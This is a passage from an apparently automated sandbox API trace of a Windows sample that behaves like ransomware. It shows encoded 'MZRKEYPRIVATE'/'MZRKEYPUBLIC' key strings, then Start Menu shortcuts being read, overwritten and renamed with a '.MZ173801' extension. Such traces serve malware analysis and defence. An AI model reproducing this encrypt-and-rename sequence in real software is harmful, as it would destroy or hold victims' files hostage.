lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0210.286] GetCurrentThreadId () returned 0xab4 [0210.286] GetCurrentThreadId () returned 0xab4 [0210.286] GetCurrentThreadId () returned 0xab4 [0210.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0210.287] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0210.287] GetCurrentThreadId () returned 0xab4 [0210.287] GetCurrentThreadId () returned 0xab4 [0210.287] GetCurrentThreadId () returned 0xab4 [0210.287] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0210.288] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0210.288] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0210.288] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x9c2 [0210.288] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0210.288] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x9c2, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x9c2, lpOverlapped=0x0) returned 1 [0210.302] CloseHandle (hObject=0x328) returned 1 [0210.302] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0210.489] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x9c2, lpOverlapped=0x0) returned 1 [0210.490] CloseHandle (hObject=0x328) returned 1 [0210.600] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk.mz173801")) returned 1 [0210.774] GetCurrentThreadId () returned 0xab4 [0210.774] GetCurrentThreadId () returned 0xab4 [0210.774] GetCurrentThreadId () returned 0xab4 [0210.774] GetCurrentThreadId () returned 0xab4 [0210.774] GetCurrentThreadId () returned 0xab4 [0210.774] GetCurrentThreadId () returned 0xab4 [0210.774] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d6d38e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d6d38e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d6d38e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x95f, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="OneNote 2016.lnk", cAlternateFileName="ONENOT~1.LNK")) returned 1 [0210.774] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0210.774] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0210.774] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d6d38e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d6d38e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d6d38e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x95f)) returned 1 [0210.775] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk")) returned 0x20 [0210.775] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk", dwFileAttributes=0x80) returned 1 [0210.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0210.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0210.944] GetCurrentThreadId () returned 0xab4 [0210.944] GetCurrentThreadId () returned 0xab4 [0210.944] GetCurrentThreadId () returned 0xab4 [0210.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 